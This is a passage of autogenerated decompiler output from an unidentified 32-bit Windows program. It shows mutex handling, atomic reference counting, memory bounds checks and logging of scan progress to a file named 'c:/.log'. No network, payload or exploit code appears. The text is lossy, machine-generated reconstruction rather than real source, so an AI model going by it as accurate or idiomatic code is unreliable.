																				E000D7281(_t2061, _t2202, _t2429, _t2475, _t2541, _t1641);
																				_t2632 = _t2632 + 4;
																			}
																			_v28 = 0x26;
																			E00064C00( &_v2512, __eflags, "c:/.log", 0xc);
																			_v28 = 0x27;
																			E0006C840( &_v2512, 0x5b);
																			_push(_v996);
																			E0006C840(E00066130(), 0x2f);
																			_push(_v984);
																			E0006C840(E00066130(), 0x2f);
																			_push(_v1012);
																			_t2431 = E0006C590(E00066130(), "]+");
																			_t2637 = _t2632 - 8 + 0x20;
																			_t1651 = _v1028;
																			__eflags =  *((intOrPtr*)(_t1651 + 0x14)) - 0x10;
																			_t2209 =  *((intOrPtr*)(_t1651 + 0x10));
																			if( *((intOrPtr*)(_t1651 + 0x14)) >= 0x10) {
																				_t1651 =  *_t1651;
																			}
																			E0006DBF0(_t2061, E000739C0(_t2431, _t1651, _t2209));
																			_t2639 = _t2637 + 0x10;
																			_t2210 =  &_v2512;
																			E00060FB0( &_v2512);
																			_v28 = 0x28;
																			goto L270;
																		}
																	} else {
																		asm("movsd xmm0, [esi+0x30]");
																		asm("movsd xmm1, [ebp-0x5b8]");
																		asm("comisd xmm0, xmm1");
																		if(__eflags > 0) {
																			__eflags =  *((intOrPtr*)(_t2541 + 0x2c)) - 0x10;
																			_t1684 = _t2541 + 0x18;
																			_t2219 =  *(_t1684 + 0x10);
																			asm("movsd [ebp-0xc0], xmm1");
																			_v924 = _t1684;
																			_v192 = 0;
																			_v188 = 0;
																			_v932 = _t2219;
																			if( *((intOrPtr*)(_t2541 + 0x2c)) >= 0x10) {
																				_v924 =  *_t1684;
																			}
																			__eflags = _t2219 - 0x10;
																			if(__eflags >= 0) {
																				_t1686 = _t2219 | 0x0000000f;
																				__eflags = _t1686 - 0x7fffffff;
																				_t1687 =  >  ? 0x7fffffff : _t1686;
																				_v964 = _t1687;
																				_push(_t1687 + 1);
																				_t1689 = E000690F0(_t2061, _t2429, _t2475, _t2541);
																				__eflags = _v932 + 1;
																				_v208 = _t1689;
																				E001048E0(_t1689, _v924, _v932 + 1);
																				_t2581 = _t2581 + 0xc;
																				_v192 = _v932;
																				_v188 = _v964;
																			} else {
																				asm("movups xmm0, [eax]");
																				_v192 = _t2219;
																				_v188 = 0xf;
																				asm("movups [ebp-0xb8], xmm0");
																			}
																			_v28 = 0x20;
																			E0006E130(_t2061,  &_v1300, _t2475, __eflags,  &_v216);
																			_v28 = 0x1e;
																			E00060F60(_t2061,  &_v208, _t2475);
																		}
																		_v996 = _t2541 + 0x18;
																		E00063B80( &_v1300,  &_v1144, __eflags,  &_v1300);
																		_v1012 = _v1256;
																		_v28 = 0x21;
																		_t2212 = _v1144;
																		asm("lock xadd [ecx], eax");
																		__eflags = 0;
																		if(0 == 0) {
																			__eflags = 0x80000000 - 0x80000000;
																			if(0x80000000 > 0x80000000) {
																				asm("lock bts dword [ecx], 0x1e");
																				if(0x80000000 >= 0x80000000) {
																					SetEvent(E00058630(_t2212, _t2475, _t2541));
																				}
																			}
																		}
																		_v28 = 0x1e;
																		__eflags =  *0x17a480;
																		_v964 = _v940 - 1;
																		if( *0x17a480 != 0) {
																			_v1500 = 0x17a4f8;
																			_t1667 = E000DA3B6(0x17a4f8);
																			_t2640 = _t2581 + 4;
																			__eflags = _t1667;
																			if(__eflags != 0) {
																				E000D7281(_t2061, _t2212, _t2429, _t2475, _t2541, _t1667);
																				_t2640 = _t2640 + 4;
																			}
																			_v28 = 0x22;
																			E00064C00( &_v2336, __eflags, "c:/.log", 0xc);
																			_v28 = 0x23;
																			E0006C840( &_v2336, 0x5b);
																			_push(_v964);
																			E0006C840(E00066130(), 0x2f);
																			_push(_v984);
																			E0006C840(E00066130(), 0x2f);
																			_push(_v1012);
																			_t2431 = E0006C590(E00066130(), "]-");
																			_t2645 = _t2640 - 8 + 0x20;
																			_t1677 = _v996;
																			__eflags =  *((intOrPtr*)(_t1677 + 0x14)) - 0x10;
																			_t2218 =  *((intOrPtr*)(_t1677 + 0x10));
																			if( *((intOrPtr*)(_t1677 + 0x14)) >= 0x10) {
																				_t1677 =  *_t1677;
																			}
																			E0006DBF0(_t2061, E000739C0(_t2431, _t1677, _t2218));
																			_t2639 = _t2645 + 0x10;
																			_t2210 =  &_v2336;
																			E00060FB0( &_v2336);
																			_v28 = 0x24;
																			L270:
																			_t1655 = E000DA3DB(0x17a4f8);
																			_t2581 = _t2639 + 4;
																			__eflags = _t1655;
																			if(_t1655 != 0) {
																				E000D7281(_t2061, _t2210, _t2431, _t2475, _t2541, _t1655);
																				_t2581 = _t2581 + 4;
																			}
																			_v28 = 0x1e;
																		}
																	}
																	E0006B340(_t2061,  &_v944,  &_v1496, _t2541);
																}
															}
															continue;
															L307:
															_v28 = 0x1c;
															__eflags = _v1180;
															_t2509 = GetLastError;
															_t2474 = ReleaseMutex;
															if(__eflags == 0) {
																_t1521 = _v1184;
																__eflags = _t1521;
																if(__eflags != 0) {
																	__eflags = ReleaseMutex( *_t1521);
																	if(__eflags == 0) {
																		GetLastError();
																	}
																}
															}
															goto L139;
														}
														__eflags = _v940 - _v960;
														if(_v940 < _v960) {
															__eflags =  *((char*)(_t2382 + 0x10007));
															if(__eflags == 0) {
																asm("movsd xmm0, [ebp-0x518]");
																asm("movsd [ebp-0xa0], xmm0");
																_v160 = 0;
																_v156 = 0xf;
																_v176 = 0;
																_v28 = 0x29;
																E00063B80( &_v1300,  &_v1152, __eflags,  &_v1300);
																__eflags = _v1256;
																if(_v1256 != 0) {
																	E0007A9A0(_t2061,  &_v1300, _t2475,  &_v1152,  &_v184);
																	_t2532 = 0;
																	__eflags = 0;
																} else {
																	__eflags = _v1244;
																	_t1595 = 1 + (0 | _v1244 != 0x00000000) * 2;
																	_v1028 = _t1595;
																	_t2532 = _t1595;
																}
																_v28 = 0x2a;
																_t2144 = _v1152;
																asm("lock xadd [ecx], eax");
																__eflags = 0;
																if(0 == 0) {
																	__eflags = 0x80000000 - 0x80000000;
																	if(0x80000000 > 0x80000000) {
																		asm("lock bts dword [ecx], 0x1e");
																		if(0x80000000 >= 0x80000000) {
																			SetEvent(E00058630(_t2144, _t2475, _t2532));
																		}
																	}
																}
																_v28 = 0x29;
																__eflags = _t2532;
																if(_t2532 == 0) {
																	E00064B40( &_v584, _t2382,  &_v176);
																	asm("movsd xmm0, [ebp-0xa0]");
																	asm("movsd [ebp-0x218], xmm0");
																	_t1532 = _v920;
																	_t2147 =  &_v944;
																	_v28 = 0x2b;
																	 *_t1532 =  *_t1532 + 1;
																	_t2489 =  *_t1532;
																	E00066E80(_t2147,  &_v1156, _t1532);
																	_t2533 = _v1156;
																	__eflags = _t2533 - _v944;
																	if(_t2533 == _v944) {
																		L295:
																		_t2490 = _v920;
																		_push(_t2147);
																		_v1160 = _t2490;
																		__eflags = E00081860( &_v944, _t2147,  &_v1160) + 0x10;
																		E000818A0( &_v944,  &_v1164, _t2533, E00081860( &_v944, _t2147,  &_v1160) + 0x10, _t1536);
																		_t2533 = _v1164;
																	} else {
																		__eflags = _t2489 -  *((intOrPtr*)(_t2533 + 0x10));
																		if(_t2489 <  *((intOrPtr*)(_t2533 + 0x10))) {
																			goto L295;
																		} else {
																			_t2490 = _v920;
																		}
																	}
																	E00064900(_t2061, _t2533 + 0x18, _t2490, _t2533,  &_v584);
																	asm("movsd xmm0, [ebp-0x218]");
																	asm("movsd [esi+0x30], xmm0");
																	_v28 = 0x29;
																	E00060F60(_t2061,  &_v584, _t2490);
																	E00063B80( &_v1300,  &_v1168, __eflags,  &_v1300);
																	_t2534 = _v1256;
																	_v28 = 0x2c;
																	_t2153 = _v1168;
																	asm("lock xadd [ecx], eax");
																	__eflags = 0;
																	if(0 == 0) {
																		__eflags = 0x80000000 - 0x80000000;
																		if(0x80000000 > 0x80000000) {
																			asm("lock bts dword [ecx], 0x1e");
																			if(0x80000000 >= 0x80000000) {
																				SetEvent(E00058630(_t2153, _t2490, _t2534));
																			}
																		}
																	}
																	_v28 = 0x29;
																	_v1016 = _v940;
																	_v1172 = _t2534;
																	_v913 = 0x2f;
																	_v935 = 0x2f;
																	_v934 = 0x5b;
																	E0006E410(_t2061,  &_v934,  &_v1016,  &_v935,  &_v984,  &_v913,  &_v1172, "]>",  &_v176);
																	_t2535 = E000ECF08(_t2534, __eflags);
																	_v1492 = _t2535;
																	_v28 = 0x2d;
																	E000ADB10(_t2535,  &_v1016, 0);
																	 *_t2535 = 0x13b9a8;
																	 *((intOrPtr*)(_t2535 + 4)) = 0x13ba60;
																	 *((intOrPtr*)(_t2535 + 0xc)) = _t2490 + 8;
																	 *((intOrPtr*)(_t2535 + 0x10)) = 0xffff;
																	 *(_t2535 + 0x18) = 0;
																	 *(_t2535 + 0x1c) = 0;
																	_v28 = 0x29;
																	E000B0D30( &_v304, 0);
																	_v28 = 0x2e;
																	asm("xorps xmm0, xmm0");
																	_v304 = 0x1516f8;
																	_v300 = 0x1520fc;
																	_v280 = 1;
																	asm("movlpd [ebp-0xf8], xmm0");
																	asm("movlpd [ebp-0xf0], xmm0");
																	_v256 = 0;
																	_v252 = 0;
																	_v248 = 0;
																	_v244 = 0;
																	_v240 = 0;
																	_v236 = 0;
																	_v232 = 0;
																	_v228 = 0;
																	_t1557 = E00070590(_t2061,  &_v1016, _t2490, 8);
																	_v244 = _t1557;
																	 *_t1557 = 0;
																	_t1557[1] = 0;
																	_v244->nLength =  &_v244;
																	_v28 = 0x2f;
																	_v224 = 0;
																	_v220 = 0;
																	E000B1840( &_v304, _t2535);
																	E000B3600(_t2061,  &_v304);
																	_v28 = 0x30;
																	_v1468 = E000ECF08(_t2535, __eflags);
																	_v28 = 0x31;
																	_t2536 = E000ECF08(_t2535, __eflags);
																	_v1476 = _t2536;
																	_v28 = 0x32;
																	E000ADB10(_t2536,  &_v1016, 0);
																	 *_t2536 = 0x1517bc;
																	 *((intOrPtr*)(_t2536 + 4)) = 0x151a04;
																	 *((intOrPtr*)(_t2536 + 0xc)) =  &_v304;
																	 *((intOrPtr*)(_t2536 + 0x10)) = 3;
																	_v28 = 0x31;
																	_t1565 = E0005AD40(_t1561,  &_v1016, __eflags, _t2536);
																	_v28 = 0x30;
																	E00062D80( &_v528,  &_v1016, __eflags, _t1565);
																	_v28 = 0x33;
																	_v528 = 0x13e560;
																	_v524 = 0x13e634;
																	_v1424 = 0;
																	_v1420 = 0;
																	_v1416 = 0;
																	E00063700( &_v1412, 0);
																	_v28 = 0x34;
																	__eflags = _v156 - 0x10;
																	_t1569 =  >=  ? _v176 :  &_v176;
																	E00059C80( >=  ? _v176 :  &_v176, _v160, 0);
																	_v28 = 0x35;
																	_t1573 = E0006D700(__eflags,  &_v1456, "InputBuffer",  &_v1424, 1);
																	_t2630 = _t2581 + 0x28 - 8 + 0x10;
																	_v28 = 0x36;
																	 *((intOrPtr*)( *((intOrPtr*)(_v528 + 0x20))))(_t1573, 0x14, 0x4c, 0x20);
																	 *((intOrPtr*)(_v528 + 0xc8))(1);
																	_v28 = 0x37;
																	_t2168 = _v1452;
																	__eflags = _t2168;
																	if(_t2168 != 0) {
																		 *((intOrPtr*)( *_t2168))(1);
																	}
																	_v1456 = 0x13b788;
																	_v28 = 0x38;
																	_t1577 = _v1408;
																	_t2169 = _v1404;
																	__eflags = _t1577 - _t2169;
																	_t2382 = _v1400;
																	_t2492 = _v1400;
																	_t2170 =  <  ? _t1577 : _t2169;
																	memset(_t2492, 0, _t2170 << 0);
																	_t2475 = _t2492 + _t2170;
																	L000B3E40(_v1400);
																	_t2172 = _v516;
																	_t2581 = _t2630 + 0x10;
																	_v528 = 0x13e47c;
																	_v524 = 0x13e550;
																	__eflags = _t2172;
																	if(_t2172 != 0) {
																		 *((intOrPtr*)( *_t2172))(1);
																	}
																	_t2173 = _v920;
																	_v304 = 0x1516f8;
																	_v300 = 0x1520fc;
																	 *((intOrPtr*)(_t2173 + 4)) = _v264;
																	 *((char*)(_t2173 + 0x10007)) = 1;
																	E000630E0(_t2061,  &_v244);
																	_t2175 = _v292;
																	__eflags = _t2175;
																	if(_t2175 != 0) {
																		 *((intOrPtr*)( *_t2175))(1);
																	}
																}
																E00060F60(_t2061,  &_v176, _t2475);
															}
														}
														goto L307;
													} else {
														_v28 = 0x1c;
														goto L138;
													}
													L139:
													E00063B80( &_v1300,  &_v968, __eflags,  &_v1300);
													__eflags = _v1256;
													_v913 = _v1256 == 0;
													_v28 = 0x1d;
													_t2075 = _v968;
													asm("lock xadd [ecx], eax");
													__eflags = 0;
													if(0 == 0) {
														__eflags = 0x80000000 - 0x80000000;
														if(0x80000000 > 0x80000000) {
															asm("lock bts dword [ecx], 0x1e");
															if(0x80000000 >= 0x80000000) {
																SetEvent(E00058630(_t2075, _t2474, _t2509));
															}
														}
													}
													_v28 = 0x1c;
													__eflags = _v913;
													if(_v913 == 0) {
														goto L213;
													}
												}
												goto L427;
											}
										}
									} else {
										__eflags = _t2073 - 0x3fffffff;
										if(_t2073 > 0x3fffffff) {
											goto L320;
										} else {
											E00066EC0( &_v956, _t2073);
											_t2475 = _v952;
											_t2073 = _v960;
											goto L124;
										}
									}
									goto L427;
								}
								goto L114;
							} else {
								_t2382 = (_v1192 - _t2066 >> 2) * 4;
								_t1888 = _t2066;
								__eflags = _t2382 - 0x1000;
								if(_t2382 < 0x1000) {
									L104:
									_push(_t2382);
									E000ED2D0(_t2066);
									_t2569 = _t2569 + 8;
									goto L105;
								} else {
									_t2073 =  *(_t2066 - 4);
									_t2382 = _t2382 + 0x23;
									__eflags = _t1888 -  *(_t2066 - 4) + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L319;
									} else {
										goto L104;
									}
								}
							}
						} else {
							_push(_t2064);
							_v1360 = 0;
							_v1356 = 0;
							_v1352 = 0x1522a0;
							E0006CE80( &_v552, "c:/.log");
							_v28 = 2;
							E000AA990( &_v552, _t2553, __eflags,  &_v552,  &_v1360);
							_v28 = 1;
							_t2569 = _t2569 + 8;
							_t2382 = _v532;
							__eflags = _t2382 - 8;
							if(_t2382 < 8) {
								goto L65;
							} else {
								_t2340 = _v552;
								_t2382 = 2 + _t2382 * 2;
								_t1962 = _t2340;
								__eflags = _t2382 - 0x1000;
								if(_t2382 < 0x1000) {
									L64:
									_push(_t2382);
									E000ED2D0(_t2340);
									_t2569 = _t2569 + 8;
									goto L65;
								} else {
									_t2066 =  *(_t2340 - 4);
									_t2382 = _t2382 + 0x23;
									__eflags = _t1962 -  *(_t2340 - 4) + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L312:
										E0010F5C4(_t2061, _t2066, _t2382, _t2468);
										L313:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L314:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L315:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L316:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L317:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L318:
										E0010F44B(_t2061, _t2066, _t2382, _t2468, __eflags);
										L319:
										E0010F44B(_t2061, _t2073, _t2382, _t2468, __eflags);
										L320:
										E00066EB0(_t2073);
										L321:
										E000D9BF8(__eflags);
										L322:
										E0010F5C4(_t2061, _t2073, _t2382, _t2475);
										L323:
										_t2076 =  &_v1520;
										E00051B00(_t2076, "failed to lock mutex");
										E001047B7( &_v1520, 0x16d3cc);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t2553);
										_t2554 = _t2581;
										_push(0xffffffff);
										_push(0x12e1c6);
										_push( *[fs:0x0]);
										_t2582 = _t2581 - 0x244;
										_t1356 =  *0x16f170; // 0xd529e887
										_t1357 = _t1356 ^ _t2554;
										_v2992 = _t1357;
										_push(_t2507);
										_push(_t2475);
										_push(_t1357);
										 *[fs:0x0] = _t2554 - 0xc;
										 *((intOrPtr*)(_t2554 - 0x8c)) = _t2076;
										_t2476 = 0;
										 *((intOrPtr*)(_t2554 - 0x84)) = 0;
										__eflags =  *0x17a480;
										 *((intOrPtr*)(_t2554 - 0x68)) = 0;
										if( *0x17a480 != 0) {
											_v156 = 0x17a4f8;
											_t1506 = E000DA3B6(0x17a4f8);
											_t2597 = _t2582 + 4;
											__eflags = _t1506;
											if(__eflags != 0) {
												E000D7281(_t2061, _t2076, _t2382, 0, _t2507, _t1506);
												_t2597 = _t2597 + 4;
											}
											_v32 = 0;
											E00064C00( &_v444, __eflags, "c:/.log", 0xc);
											_v32 = 1;
											E0006DBF0(_t2061, E0006C590( &_v444, "scanning..."));
											E00060FB0( &_v444);
											_v32 = 2;
											_t1512 = E000DA3DB(0x17a4f8);
											_t2582 = _t2597 - 8 + 0x10;
											__eflags = _t1512;
											if(_t1512 != 0) {
												E000D7281(_t2061,  &_v444, _t2382, _t2476, _t2507, _t1512);
												_t2582 = _t2582 + 4;
											}
											_v32 = 0xffffffff;
										}
										L0005CF80(_t2061,  &_v208, _t2476);
										_v32 = 3;
										_t1360 = _v208;
										_t2078 = _v204;
										_v164 = _t1360;
										_v156 = _t2078;
										__eflags = _t1360 - _t2078;
										if(_t1360 == _t2078) {
											L409:
											_v32 = 0xffffffff;
											__eflags = _t1360;
											if(_t1360 == 0) {
												L413:
												_t1362 =  *_v168;
												_t2080 =  *_t1362;
												 *_t1362 = 1;
												__eflags =  *0x17a480;
												if( *0x17a480 != 0) {
													_v156 = 0x17a4f8;
													_t1364 = E000DA3B6(0x17a4f8);
													_t2584 = _t2582 + 4;
													__eflags = _t1364;
													if(__eflags != 0) {
														E000D7281(_t2061, _t2080, _t2382, _t2476, _t2507, _t1364);
														_t2584 = _t2584 + 4;
													}
													_v32 = 0x14;
													E00064C00( &_v620, __eflags, "c:/.log", 0xc);
													_v32 = 0x15;
													E0006DBF0(_t2061, E0006C590( &_v620, "scan finised"));
													E00060FB0( &_v620);
													_v32 = 0x16;
													_t1370 = E000DA3DB(0x17a4f8);
													__eflags = _t1370;
													if(_t1370 != 0) {
														E000D7281(_t2061,  &_v620, _t2382, _t2476, _t2507, _t1370);
													}
												}
												 *[fs:0x0] = _v40;
												__eflags = _v44 ^ _t2554;
												return E000ECED8(_v44 ^ _t2554);
											} else {
												_push(_t2078);
												E000709A0(_t2061, _t1360, _t2078);
												_t2507 = _v208;
												_t2589 = _t2582 + 4;
												_t2382 = 0x2aaaaaab * (_v200 - _t2507) >> 0x20 >> 2;
												_t1379 = _t2507;
												_t2091 = (0x2aaaaaab * (_v200 - _t2507) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v200 - _t2507) >> 0x20 >> 2) + ((0x2aaaaaab * (_v200 - _t2507) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v200 - _t2507) >> 0x20 >> 2)) * 2 << 3;
												__eflags = _t2091 - 0x1000;
												if(_t2091 < 0x1000) {
													L412:
													_push(_t2091);
													E000ED2D0(_t2507);
													_t2582 = _t2589 + 8;
													goto L413;
												} else {
													_t2507 =  *(_t2507 - 4);
													_t2091 = _t2091 + 0x23;
													__eflags = _t1379 - _t2507 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L419;
													} else {
														goto L412;
													}
												}
											}
										} else {
											_v228 = 0;
											_v224 = 0;
											_v220 = 0;
											_v216 = 0;
											do {
												E00064650( &_v124, _t2382, _t1360);
												_v152 = 0;
												_v148 = 0;
												_v144 = 0x1522a0;
												_push(0x14);
												_v32 = 5;
												_t2515 = E000ECF08(_t2507, __eflags);
												 *_t2515 = 0;
												_t2515[1] = 0;
												_t2515[2] = 0;
												_t2515[3] = 0;
												_t2515[4] = 0;
												_v140 = _t2515;
												_v136 = 0;
												_t1394 = E0007B220( &_v212, _t2515);
												_v136 =  *_t1394;
												 *_t1394 = _v136;
												E00053860( &_v212);
												_push(_t2515);
												_push(_t2515);
												_push( &_v140);
												E000538F0( &_v140);
												_t2582 = _t2582 + 0x10;
												 *(_v140 + 0x10) = 0;
												_t2507 = _v140;
												_t1401 = E000551B0(_t2061, __eflags,  &_v124,  &_v152);
												_t2382 =  *(_t2507 + 4);
												_t2099 = _t1401;
												__eflags =  *((intOrPtr*)(_t2507 + 8)) - _t2382;
												if( *((intOrPtr*)(_t2507 + 8)) == _t2382) {
													_push(_t2099);
													_push(_t2382);
													E0006FC30(_t2061, _t2507, _t2476);
												} else {
													 *_t2382 =  *_t2099;
													_t2133 =  *(_t2099 + 4);
													 *(_t2382 + 4) = _t2133;
													__eflags = _t2133;
													if(_t2133 != 0) {
														asm("lock xadd [ecx], eax");
													}
													 *(_t2507 + 4) =  *(_t2507 + 4) + 8;
												}
												E00053860( &_v264);
												_t1406 =  *(_v140->lpSecurityDescriptor - 8);
												__eflags = _t1406;
												if(_t1406 == 0) {
													L339:
													_v125 = 1;
												} else {
													__eflags =  *(_t1406 + 0x28);
													_v125 = 0;
													if( *(_t1406 + 0x28) == 0) {
														goto L339;
													}
												}
												E00053860( &_v224);
												__eflags = _v125;
												if(_v125 != 0) {
													_v236 = _v140;
													_v140 = 0;
													_v136 = 0;
													_v232 = _v136;
													E00053860( &_v232);
												}
												_v32 = 7;
												__eflags = _v148;
												if(_v148 == 0) {
													while(1) {
														_t2103 = _v140;
														do {
															L363:
															__eflags = _t2103;
															if(_t2103 == 0) {
																L366:
																_t1408 = 1;
															} else {
																__eflags =  *_t2103 -  *((intOrPtr*)(_t2103 + 4));
																if( *_t2103 ==  *((intOrPtr*)(_t2103 + 4))) {
																	goto L366;
																} else {
																	_t1408 = 0;
																}
															}
															__eflags = _t1408;
															if(_t1408 != 0) {
																E00053860( &_v216);
																E00053860( &_v136);
																_v32 = 3;
																E00054B10(_t2061,  &_v124, _t2476, _t2507);
																_t2476 = _v132;
																goto L407;
															} else {
																_v32 = 0xf;
																_t2109 =  *((intOrPtr*)( *((intOrPtr*)(_t2103 + 4)) - 8));
																E000AA4F0( *((intOrPtr*)( *((intOrPtr*)(_t2103 + 4)) - 8)),  &_v244,  &_v152);
																_v32 = 7;
																__eflags = _v148;
																if(_v148 != 0) {
																	L387:
																	_t1415 = _v140;
																	_t1206 = _t1415 + 0x10;
																	 *_t1206 =  *(_t1415 + 0x10) | 0x00000002;
																	__eflags =  *_t1206;
																	goto L388;
																} else {
																	_t1431 = _v244;
																	__eflags = _t1431 - 3;
																	if(_t1431 != 3) {
																		L374:
																		__eflags = _t1431 - 2;
																		if(_t1431 != 2) {
																			SwitchToThread();
																			goto L388;
																		} else {
																			_t2115 =  *(_v140->lpSecurityDescriptor - 8);
																			E0005BB00(_t2061,  *(_v140->lpSecurityDescriptor - 8), _t2476, _t2507);
																			asm("movsd [ebp-0x94], xmm0");
																			asm("movsd [ebp-0x9c], xmm0");
																			_t1437 = E0010D6B6( &_v184);
																			_t2582 = _t2582 + 4;
																			__eflags = _t1437 - 2;
																			if(_t1437 == 2) {
																				L388:
																				_t2507 = _v132;
																				goto L389;
																			} else {
																				asm("movsd xmm0, [ebp-0x94]");
																				asm("movsd [ebp-0x30], xmm0");
																				_v180 = _v168[1];
																				_t2476 =  *(_v140->lpSecurityDescriptor - 8);
																				_v32 = 0x11;
																				_v52 = 0;
																				_t2517 = _v132 | 0x00000010;
																				_v48 = 0xf;
																				_v68 = 0;
																				_t2387 =  *(_t2476 + 0x10);
																				_v160 = _t2517;
																				__eflags = _t2387;
																				if(__eflags != 0) {
																					__eflags =  *((intOrPtr*)(_t2476 + 0x14)) - 8;
																					_t1448 = _t2476;
																					if(__eflags >= 0) {
																						_t1448 =  *_t2476;
																					}
																					_v172 = _t1448 + _t2387 * 2;
																					if(__eflags >= 0) {
																						_t2476 =  *_t2476;
																					}
																					_push(L000ABB20(_t2061, _t2115));
																					_push( &_v68);
																					_push(_v172);
																					_push(_t2476);
																					E000AB400(_t2061, _t2476, _t2517);
																					_t2582 = _t2582 + 0x10;
																				}
																				_t2507 = _t2517 & 0xffffffef;
																				_v132 = _t2507;
																				_v32 = 0x12;
																				E0006E130(_t2061, _v180, _t2476, __eflags,  &_v76);
																				_v32 = 7;
																				_t2382 = _v48;
																				__eflags = _t2382 - 0x10;
																				if(_t2382 < 0x10) {
																					L389:
																					_v32 = 0x13;
																					_t2476 = _v140;
																					_push( &_v196);
																					_v196 = 0;
																					_v192 = 0;
																					_v188 = 0x1522a0;
																					_t1417 = E00055260(_t2476);
																					__eflags = _t1417;
																					if(_t1417 != 0) {
																						L403:
																						_v144 = 0x1522a0;
																						_v148 = 0;
																						_v152 = 0;
																					} else {
																						while(1) {
																							_t1422 =  *((intOrPtr*)(_t2476 + 4));
																							__eflags =  *_t2476 - _t1422;
																							if( *_t2476 == _t1422) {
																								goto L396;
																							}
																							L391:
																							_v252 = 0;
																							_v132 = _t2507 | 0x00000020;
																							_t2507 = _t1422 - 8;
																							_v248 = 0;
																							E000A9DC0(_t2061, _t2476, _t2507, 0);
																							_t1429 =  *_t2507;
																							_t2582 = _t2582 + 8;
																							__eflags = _t1429;
																							if(_t1429 == 0) {
																								L394:
																								_t1430 = 1;
																							} else {
																								__eflags =  *(_t1429 + 0x28);
																								if( *(_t1429 + 0x28) == 0) {
																									goto L394;
																								} else {
																									_t1430 = 0;
																								}
																							}
																							_v125 = 1;
																							__eflags = _t1430;
																							if(_t1430 == 0) {
																								goto L396;
																							}
																							L397:
																							_t1423 = _v132;
																							__eflags = _t1423 & 0x00000020;
																							if((_t1423 & 0x00000020) != 0) {
																								_t1426 = _t1423 & 0xffffffdf;
																								__eflags = _t1426;
																								_v132 = _t1426;
																								E00053860( &_v248);
																							}
																							__eflags = _v125;
																							if(_v125 != 0) {
																								E00053860( *((intOrPtr*)(_t2476 + 4)) - 4);
																								 *((intOrPtr*)(_t2476 + 4)) =  *((intOrPtr*)(_t2476 + 4)) + 0xfffffff8;
																								 *((intOrPtr*)(_t2476 + 0xc)) =  *((intOrPtr*)(_t2476 + 0xc)) - 1;
																								_t2507 = _v132;
																								_t1422 =  *((intOrPtr*)(_t2476 + 4));
																								__eflags =  *_t2476 - _t1422;
																								if( *_t2476 == _t1422) {
																									goto L396;
																								}
																								goto L397;
																							}
																							__eflags = _v192;
																							if(_v192 == 0) {
																								goto L403;
																							} else {
																								asm("movq xmm0, [ebp-0xa8]");
																								asm("movq [ebp-0x7c], xmm0");
																								_v144 = _v188;
																							}
																							goto L404;
																							L396:
																							_v125 = 0;
																							goto L397;
																						}
																					}
																					goto L404;
																				} else {
																					_t2117 = _v68;
																					_t2382 = _t2382 + 1;
																					_t1444 = _t2117;
																					__eflags = _t2382 - 0x1000;
																					if(_t2382 < 0x1000) {
																						L385:
																						_push(_t2382);
																						E000ED2D0(_t2117);
																						_t2582 = _t2582 + 8;
																						goto L389;
																					} else {
																						_t2091 =  *(_t2117 - 4);
																						_t2382 = _t2382 + 0x23;
																						__eflags = _t1444 - _t2091 + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L419;
																						} else {
																							goto L385;
																						}
																					}
																				}
																			}
																		}
																	} else {
																		_t2507 =  *(_v140->lpSecurityDescriptor - 8);
																		_t1455 =  *0x17a610; // 0x0
																		__eflags = _t1455 & 0x00000001;
																		if(__eflags == 0) {
																			_t1457 = _t1455 | 0x00000001;
																			__eflags = _t1457;
																			 *0x17a610 = _t1457;
																			_v32 = 0x10;
																			E0005B760(_t2061, _t2476, _t2109);
																			E000ED2BB(__eflags, 0x138630);
																			_t2582 = _t2582 + 4;
																			_v32 = 7;
																		}
																		_t2382 = _t2507;
																		_t1456 = E00054B70(_t2061, 0x17a484, _t2507, _t2476, _t2507, __eflags);
																		__eflags = _t1456;
																		if(_t1456 != 0) {
																			goto L387;
																		} else {
																			_t1431 = _v244;
																			goto L374;
																		}
																	}
																}
															}
															goto L427;
															L404:
															_t2103 = _v140;
															__eflags =  *_t2103 -  *((intOrPtr*)(_t2103 + 4));
														} while ( *_t2103 !=  *((intOrPtr*)(_t2103 + 4)));
														_v260 = _t2103;
														_v140 = 0;
														_v136 = 0;
														_v256 = _v136;
														E00053860( &_v256);
														_t2103 = _v140;
														goto L363;
													}
												} else {
													_t2119 = _v144;
													 *((intOrPtr*)( *_v144 + 0x14))( &_v68, _v152);
													_t2476 = _t2476 | 0x00000001;
													_v132 = _t2476;
													_v172 = _t2476;
													_v32 = 8;
													__eflags =  *0x17a480;
													if( *0x17a480 == 0) {
														L354:
														_v32 = 7;
														_t2389 = _v48;
														__eflags = _t2389 - 0x10;
														if(_t2389 < 0x10) {
															L358:
															E00053860( &_v216);
															E00053860( &_v136);
															_v32 = 3;
															_t2382 = _v104;
															__eflags = _t2382 - 8;
															if(_t2382 < 8) {
																goto L407;
															} else {
																_t2122 = _v124;
																_t2382 = 2 + _t2382 * 2;
																_t1464 = _t2122;
																__eflags = _t2382 - 0x1000;
																if(_t2382 < 0x1000) {
																	L361:
																	_push(_t2382);
																	E000ED2D0(_t2122);
																	_t2582 = _t2582 + 8;
																	goto L407;
																} else {
																	_t2091 =  *(_t2122 - 4);
																	_t2382 = _t2382 + 0x23;
																	__eflags = _t1464 - _t2091 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L419;
																	} else {
																		goto L361;
																	}
																}
															}
														} else {
															_t2123 = _v68;
															_t2390 = _t2389 + 1;
															_t1468 = _t2123;
															__eflags = _t2390 - 0x1000;
															if(_t2390 < 0x1000) {
																L357:
																_push(_t2390);
																E000ED2D0(_t2123);
																_t2582 = _t2582 + 8;
																goto L358;
															} else {
																_t2091 =  *(_t2123 - 4);
																_t2382 = _t2390 + 0x23;
